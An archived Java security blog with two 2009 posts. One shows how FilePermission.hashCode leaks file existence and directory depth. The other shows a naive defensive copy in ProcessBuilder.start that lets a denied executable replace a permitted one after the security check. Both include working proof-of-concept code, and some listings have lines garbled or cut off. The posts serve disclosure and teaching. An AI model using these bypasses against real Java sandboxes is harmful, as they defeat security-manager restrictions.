Saturday, December 19, 2009

FilePermission class leaks sensitive information

Somebody might consider it ironic that the security class which is responsible mapping access permission to files ( is actually leaking information about the filesystem.

FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.

The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.

Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.

The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:

384  public int hashCode() {
385     return this.cpath.hashCode();
386  }

So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.

File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.

For example, on my machine, the following:

001 import;
003 public class FP {
004     public static void main(String[] args) throws Exception {
005         System.out.println(fileExists("C:/windows"));
006         System.out.println(fileExists("C:/filedoesnotexist"));
007     }
009     static boolean fileExists(String name) {
010         return new FilePermission(name.toLowerCase(), "read").hashCode() == new FilePermission(name.toUpperCase(), "read").hashCode();
011     }
012 }

Yields the output:

In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.

It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.

Saturday, December 12, 2009

Defensive Copying - How not to do it

Defensive Copying

Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.

Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.


java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.

The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)
435  public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
443     String prog = cmdarray[0];
445     SecurityManager security = System.getSecurityManager();
if (security != null)
447      security.checkExec(prog);
449     String dir = directory ==
null ? null : directory.toString();
451     try {
return ProcessImpl.start(cmdarray,
453                  environment,
454                  dir,
455                  redirectErrorStream);
456     }
catch (IOException e) {
// It's much easier for us to create a high-quality error
458      // message than the low-level C code which found the problem.
459      throw new IOException(
"Cannot run program \"" + prog + "\""
+ (dir == null
462         +
": " + e.getMessage(),
463         e);
464     }
465  }

The interesting bit is this:

436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);

At first glance it might seem like the work of a security conscious programmer.

But quoting fictional Bob, from my previous post on immutability:

Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.

So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".


Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):

grant {
permission "C:/windows/system32/notepad.exe", "execute";

To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:

In order to test it, try executing calc.exe:
003 public class PBCalc {
public static void main(String[] args) throws Exception {
005         ProcessBuilder pb =
new ProcessBuilder("C:/windows/system32/calc.exe");
006         pb.start();
007     }
008 }

If the security manager and our policy have been successfully configured that should result in:

Exception in thread "main" access denied ( C:/windows/system32/calc.exe execute)
at java.lang.SecurityManager.checkPermission(
at java.lang.SecurityManager.checkExec(
at java.lang.ProcessBuilder.start(
at PBCalc.main(

Executing notepad.exe should work ok:
003 public class PBNotepad {
public static void main(String[] args) throws Exception {
005         ProcessBuilder pb =
new ProcessBuilder("C:/windows/system32/notepad.exe");
006         pb.start();
007     }
008 }

And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.

001 import;
import java.util.ArrayList;
import java.util.List;
public class PBMutable {
public static void main(String[] args) throws Exception {
final String[] str = {"C:/windows/system32/notepad.exe"};
008         List list =
new ArrayList() {
public Object[] toArray(Object[] a) {
return str;
011             }
012         };
014         ProcessBuilder pb =
new ProcessBuilder(list);
new File(".") {
public String toString() {
017                 str[0] =
return super.toString();
019             }
020         });
022         pb.start();
023     }
024 }


This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.